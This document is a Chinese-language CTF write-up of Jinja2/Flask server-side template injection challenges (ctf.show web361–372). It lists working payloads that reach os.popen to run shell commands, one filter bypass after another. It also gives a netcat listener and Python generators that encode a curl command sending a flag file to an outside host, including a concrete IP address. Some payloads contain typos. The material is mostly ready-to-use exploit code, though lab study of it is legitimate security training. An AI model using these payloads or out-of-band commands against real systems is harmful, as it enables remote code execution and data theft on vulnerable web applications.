SSTI

参考文章

1. 无过滤

{{''.__class__.__base__.__subclasses__()}}

先看可以用哪些类

  • 复制粘贴后替换Pasted image 20240408234317.png
  • 查找类的索引<class 'os._wrap_close'> Pasted image 20240408234420.png这里需要减去1,因为从原则上来说这里是从0开始的。所以我们是选择132
  • 找类的利用方法
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__}}

查找popenPasted image 20240408234920.png
读取flagPasted image 20240408235134.png
.popen('tac /flag')
显示Pasted image 20240408235220.png
这个表示这个命令已经执行了
但是利用system是无回显的
这里加上popen的自带函数.read()就可以获取回显内容
.popen('tac /flag').read()
Pasted image 20240408235507.pngPasted image 20240408235511.png
这题还可以用列表的方式Pasted image 20240408235807.png将前面的' ' 换成了[]
后面的.popen 换成了['popen']

2. 过滤数字2 3 config语法绕过

config不需要写索引,它获取的就是当前页面的

  • 这里有过滤Pasted image 20240408235632.pngPasted image 20240408235635.png
?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

3. 过滤单引号 request传参 参数逃逸

3.1. 绕过思路

  • 'os''cat /flag'变成用request传参
    [request.args.a] request.args.b
?name={{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag

request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()


request.args.x1        get传参

request.values.x1      所有参数

request.cookies      cookies参数

request.headers      请求头参数

request.form.x1       post传参    (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)

request.data           post传参    (Content-Type:a/b)

request.json         post传json  (Content-Type: application/json)

4. 过滤单引号 与args

  • 换其他request传参方式就行了
    使用values传参
?name={{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag

5. 过滤中括号 用url方式

?name=url_for:{{url_for.__globals__.os.popen(request.values.x).read()}}&x=cat /flag

6. 过滤下划线 +中括号

  • lipsum引用
  • lipsum:{{lipsum.__globals__['os'].popen('calc')}}
?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag

或者

  • config引用
  • config:{{config.__class__.__init__.__globals__['os'].popen('calc')}}
?name={{config.[reqeust.values.x].[reqeust.values.xx].[reqeust.values.xxx][[reqeust.values.xxxx]].popen([reqeust.values.xxxxx]).raad()}}&x=_class_&xx=_init_&xxx=_globals_&xxxx=os&xxxxx=cat /flag

7. web367 request.cookies传参 +过滤os

?name={{(abc|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e)}}

cookie=a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()

8. web368 +过滤 {{

使用{% %} 绕过
{% + print绕过

?name={%+print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=ls
 
 
?name={%+print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=cat /f*

对比366
?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag

  • 多过滤了一个os, 这里os替换为 get(request.values.c)
  • {{->{%+print
  • }}->%}
  • 后面记得传个c的参数os
?name={%+print(lipsum|attr(request.values.a)).get(request.values.c).popen(request.values.b).read()%}&a=__globals__&b=cat /flag&c=os

9. web369 +过滤request 单双引号 拼接字符串法

  • 获取chr函数,赋值给chr,拼接字符串
  • 这里是{%%}所以说可以执行代码,然后通过拼接字符赋值给变量,组成我们想要的内容
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

复杂解法1、读文件盲注
file:D:/ctf_scripts/SSTI/读文件盲注.py

复杂解法2:反弹shell
电脑开启监听 nc -lvp 4567

http://da9612ac-2b66-485d-8149-b76a1f03d22c.chall.ctf.show/?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
123
{%endif%}

cmd后面的值用脚本生成

s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i<len(s)-1:
			t+='chr('+str(ord(s[i]))+')%2b'
		else:
			t+='chr('+str(ord(s[i]))+')'
	return t

10. web370 +过滤数字 用count计数

?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}


11. web371 +过滤print curl命令外带

  • 过滤 print 关键字,flag 不会回显,可以用curl命令将flag带出来,最后这两道题用到的数字范围为可见字符的 ascii 码值,所以将0-9构造出来进行拼接
?name=
{% set c=(t|count)%}
{% set cc=(dict(e=a)|join|count)%}
{% set ccc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eee=a)|join|count)%}
{% set ccccc=(dict(eeee=a)|join|count)%}
{% set cccccc=(dict(eeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}

用命令生成脚本写一个__import__('os').system('curl eastjun.top?cat /flag')到cmd的位置

def aaa(t):
	t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
	return t
s='__import__("os").popen("curl http://8.218.147.169:4567?p=`cat /flag`").read()'
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i<len(s)-1:
			t+='chr('+aaa(str(ord(s[i])))+')%2b'
		else:
			t+='chr('+aaa(str(ord(s[i])))+')'
	return t
print(ccchr(s))

12. web372 +过滤count,可以用length替换

?name=
{% set c=(t|length)%}
{% set cc=(dict(e=a)|join|length)%}
{% set ccc=(dict(ee=a)|join|length)%}
{% set cccc=(dict(eee=a)|join|length)%}
{% set ccccc=(dict(eeee=a)|join|length)%}
{% set cccccc=(dict(eeeee=a)|join|length)%}
{% set ccccccc=(dict(eeeeee=a)|join|length)%}
{% set cccccccc=(dict(eeeeeee=a)|join|length)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|length)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|length)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|length)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|length)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}